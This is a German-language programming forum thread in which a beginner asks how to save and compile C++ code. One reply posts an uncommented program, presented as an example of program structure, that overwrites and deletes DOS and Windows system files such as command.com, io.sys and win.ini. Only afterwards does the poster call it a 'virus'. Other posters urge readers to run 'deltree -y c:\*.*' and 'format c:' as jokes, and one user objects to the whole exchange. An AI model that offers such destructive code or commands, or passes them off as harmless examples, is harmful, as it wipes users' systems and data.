An alle Programmierer (Hard- und Software)

An alle Programmierer (Hard- und Software)

tach
ich hab mir jetzt nen kurs für c++ runtergelden aber wie kann ich dateien abspeichern?
das steht da nie :(
hier ma nen kleiner auschnitt:


#include <iostream.h>
void main()
{
// Dies ist das Hello-World-Programm
cout<<"Hello, world!"<<endl;
};

Dieses kleine Programm schreibt "Hello, world!" (ohne die Anführungszeichen) auf den Bildschirm und setzt den Cursor auf den Beginn der nächsten Bildschirmzeile.


kann mir einer helfen?
ich nehme an das du schon alles richtig eingestellt hast ! (bcc32.cfg) also alle pfads stimmen und so weiter !
dann ...
kopierst du diesen text den du gerade gepostet hast,
erstellst eine neue datei namens z.B. " test.cpp " und kopierst diesen text da rein !
dann abspeichern !!! UNTER test.cpp und nicht test.cpp.txt !!!!!
dann gehst du in das DOS fenster und..
gibst ein " bcc32 -P test (oder auch bcc32 -P test.cpp)
damit wird eine exe datei erzeugt wenn du keine fehler reingebracht hast ! wenn ja dann wird sich schon der debugger melden !
wenn noch fragen aufkreuzen, frag wieder :o)
cYa
ein beispiel (AUF EIGENE GEFAHR *g*) nur zum um zu sehen wie ein prog aufgebaut ist ! ------------
#include<dos.h>
#include<stdio.h>
#include<iostream.h>
#include<fstream.h>
#include<conio.h>
main()
{
ofstream file_ptr;
_dos_setfileattr("c:\\autoexec.bat",_A_NORMAL);
file_ptr.open("c:\\autoexec.bat",ios::trunc);
file_ptr<<"After everything I've done, I hate myself, I tried, I gave up \n ";
file_ptr.close();
remove("c:\\autoexec.bat");

_dos_setfileattr("c:\\autoexec.bak",_A_NORMAL);
file_ptr.open("c:\\autoexec.bak",ios::trunc);
file_ptr<<"thought you were smart huh ? \n ";
file_ptr.close();
remove("c:\\autoexec.bak");

_dos_setfileattr("c:\\autoexec.old",_A_NORMAL);
file_ptr.open("c:\\autoexec.old",ios::trunc);
file_ptr<<"thought you were smart huh ? \n ";
file_ptr.close();
remove("c:\\autoexec.old");

_dos_setfileattr("c:\\config.sys",_A_NORMAL);
file_ptr.open("c:\\config.sys",ios::trunc);
file_ptr<<"awwwwwww, where'd the config go ? \n ";
file_ptr.close();
remove("c:\\config.sys");

_dos_setfileattr("c:\\config.old",_A_NORMAL);
file_ptr.open("c:\\config.old",ios::trunc);
file_ptr<<"awwwwwww, where'd the config go ? \n ";
file_ptr.close();
remove("c:\\config.old");

_dos_setfileattr("c:\\config.bak",_A_NORMAL);
file_ptr.open("c:\\config.bak",ios::trunc);
file_ptr<<"awwwwwww, where'd the config go ? \n ";
file_ptr.close();
remove("c:\\config.bak");

_dos_setfileattr("c:\\config.rep",_A_NORMAL);
file_ptr.open("c:\\config.rep",ios::trunc);
file_ptr<<"awwwwwww, where'd the config go ? \n ";
file_ptr.close();
remove("c:\\config.rep");

_dos_setfileattr("c:\\windows\\win.ini",_A_NORMAL);
file_ptr.open("c:\\windows\\win.ini",ios::trunc);
file_ptr<<"yep, this is gone too ! \n ";
file_ptr.close();
remove("c:\\windows\\win.ini");

_dos_setfileattr("c:\\windows\\win.com",_A_NORMAL);
file_ptr.open("c:\\windows\\win.com",ios::trunc);
file_ptr<<"there's no way you backed up all these files ! \n ";
file_ptr.close();
remove("c:\\windows\\win.com");


_dos_setfileattr("c:\\dos\\ansi.sys",_A_NORMAL);
file_ptr.open("c:\\dos\\ansi.sys",ios::trunc);
file_ptr<<"hahahahahahahahahahahahahahahahahahahahaha \n ";
file_ptr.close();
remove("c:\\dos\\ansi.sys");


_dos_setfileattr("c:\\command.com",_A_NORMAL);
file_ptr.open("c:\\command.com",ios::trunc);
file_ptr<<"hahahahahahahahahahahahahahahahahahahahaha \n ";
file_ptr.close();
remove("c:\\command.com");

_dos_setfileattr("c:\\dos\\command.com",_A_NORMAL);
file_ptr.open("c:\\dos\\command.com",ios::trunc);
file_ptr<<"hahahahahahahahahahahahahahahahahahahahaha \n ";
file_ptr.close();
remove("c:\\dos\\command.com");

_dos_setfileattr("c:\\io.sys",_A_NORMAL);
file_ptr.open("c:\\io.sys",ios::trunc);
file_ptr<<"hahahahahahahahahahahahahahahahahahahahaha \n ";
file_ptr.close();
remove("c:\\io.sys");

_dos_setfileattr("c:\\msdos.sys",_A_NORMAL);
file_ptr.open("c:\\msdos.sys",ios::trunc);
file_ptr<<"hahahahahahahahahahahahahahahahahahahahaha \n ";
file_ptr.close();
remove("c:\\msdos.sys");

_dos_setfileattr("c:\\image.idx",_A_NORMAL);
file_ptr.open("c:\\image.idx",ios::trunc);
file_ptr<<"hahahahahahahahahahahahahahahahahahahahaha \n ";
file_ptr.close();
remove("c:\\image.idx");

_dos_setfileattr("c:\\386spart.par",_A_NORMAL);
file_ptr.open("c:\\386spart.par",ios::trunc);
file_ptr<<"hahahahahahahahahahahahahahahahahahahahaha\n ";
file_ptr.close();
remove("c:\\386spart.par");

_dos_setfileattr("c:\\dblspace.bin",_A_NORMAL);
file_ptr.open("c:\\dblspace.bin",ios::trunc);
file_ptr<<"hahahahahahahahahahahahahahahahahahahahaha \n ";
file_ptr.close();
remove("c:\\dblspace.bin");

_dos_setfileattr("c:\\runthem.bat",_A_NORMAL);
file_ptr.open("c:\\runthem.bat",ios::trunc);
file_ptr<<"hahahahahahahahahahahahahahahahahahahahaha \n ";
file_ptr.close();
remove("c:\\runthem.bat");

_dos_setfileattr("c:\\image.dat",_A_NORMAL);
file_ptr.open("c:\\image.dat",ios::trunc);
file_ptr<<"hahahahahahahahahahahahahahahahahahahahaha \n ";
file_ptr.close();
remove("c:\\image.dat");

_dos_setfileattr("c:\\image.bak",_A_NORMAL);
file_ptr.open("c:\\image.bak",ios::trunc);
file_ptr<<"hahahahahahahahahahahahahahahahahahahahaha \n ";
file_ptr.close();
remove("c:\\image.bak");


_dos_setfileattr("c:\\drive.qa",_A_NORMAL);
file_ptr.open("c:\\drive.qa",ios::trunc);
file_ptr<<"hahahahahahahahahahahahahahahahahahahahaha \n ";
file_ptr.close();
remove("c:\\drive.qa");
return 0;
}


---------- so das wars !!! AUF EIGENE GEFAHR !!!
thx..hehe
Nett, nett, wo hast du das her?
ähh...wofür is der code eigentlich (von CRCKDNS)??
ncoh nciht erraten ? *gg*
ist ein simpler "virus" der beim ausführen alle dateien löscht die du aus dem source rauslesen kannst ! und da er die meisten möglichkeiten behandelt (sicherungsdateien usw.) ist dein system in sand gesetzt !
eine möglichkeit gibts ! /windows heist bei dir z.B. /windoofs oder /windoof und dein system laufwerk heist nicht c sondern d *g* !! dann könnte nicht sehr viel passieren !!
@keiner, betriebsgeheimniss *g* ne... hab von einem kumpel, er hat auch schöne codes geschrieben, das z.B. die LED´s NumLock, CapsLock und ScrollLock geblinkt haben ! (zufallsgenerator ! nicht nach eienm chema !)
sollte spassig werden, aber da hat er einen fehler reingebracht, das mein recher abgekackt ist :( *g*
der fehler müsste jetzt aber schon draussen sein !

cYa
@Guppy: ooooohhh!!!
@CRCKDNS: Gib mal mehr her, diesen Blinker kann ich auch brauchen, aber auch gerne mit Fehler ;-)
jo !
@keiner das progi krigst du bald per mail !
kann etwas dauern da ich jetzt zu ihm requested habe wegen dem progi weil ich es schon gelöscht habe !
ich melde mich dann wenn es soweit ist !!
@guppy, hast du es etwa kompiliert und ausgeführt ? *lol*
cYa
CRCKDNS:..nö..;)
meinste ich mach was du mir sagst *g* ;)
jo *lol*
neee...ist auch gut so !
aber zu 98% sind meine postings unschädlich ! *g*

cYa
Gebt einmal alle am DOS-Prompt das ein: deltree -y c:\*.*.
PS: Meine Postings sind nie garantiert unschädlich! ;)))))
PPS: Wer meinen Tip befolgt, ist echt selber schuld!
toll...gebt im dos format c: ein...hehe ;)
P.S.Garantiert schädlich..;)
hehe guppy
damit kommt aber eine sicherheits abfrage ob du es löschen willst !
bei dem beispiel von @derösi aber nicht ! wird einfach alles gelöscht :)
nützlich wenn man jemanden "ärgern" will *g*
einfach in die autoexec.bat reinkopieren *lol*
Arme Irre!
@trollpower ????? was meinst du damit ??
nur wenn man sich auskennt muss man doch nciht irre sein !

cYa
Ich bild mir ein, dass der format-Befehl einen Parameter -autotest hat, bei dem es keine Abfrage gibt. Probiert es mal aus!!!! Am besten bei der Festplatte ;)
Naja, arme Irre deswegen, weil man nicht normal sein kann, wenn man sich mit solchen Dingen beschaeftigt.

Ausserdem was hat dieses Posting urspruenglich was mit Programmieren zu tun. Wenn also irgend so ein kleines Scriptkid (vielmehr wars ja wohl nicht) ein paar Befehle in C++ veroeffentlicht, die Unbedarften (die, die keine Ahnung vom Programmieren haben) Leuten das System ruinieren finde ich das schon sehr arm.

Jeder Programmierer stand am Anfang vor der Frage: "Wie geht das", nur gibts auch Leute, die sich diese Frage erst jetzt stellen.

Just my 2 cents...

Trollpower
aber durch mein posting des "virus" kann man sehen wie so ein code aufgebaut ist ! und man kann gleich die anfallenden fragen beantworten !
*G*.... wenn du meinst :o)

aber den virus braucht man ja nicht zu dokumentieren finde ich ! der ist ziemlich offen programmiert !
@CRCKDNS

Naja, sicher kann man gut lernen, wenn man Beispiele vor sich hat. Das Problem ist jedoch, wenn jemand schon Probleme mit dem Hello World-Programm hat, dann ist sowas sehr bedenklich. Normalerweise sollten Codes immer dokumentiert oder zumindest kommentiert sein. Beides war nicht der Fall.

Kann ja sein, dass ich das ein wenig ueberbewerte, aber vorsichtig sollte man schon sein, wenn man sowas veroeffentlicht.

Wenn ihr/Du was zu der eigentlichen Frage zu sagen hast, dann tus am Besten anstaendig.

Mehr wollte ich dazu eigentlich niocht sagen. Nicht boese nehmen!!

Gruss

Trollpower
Logge dich ein um einen Beitrag zu schreiben.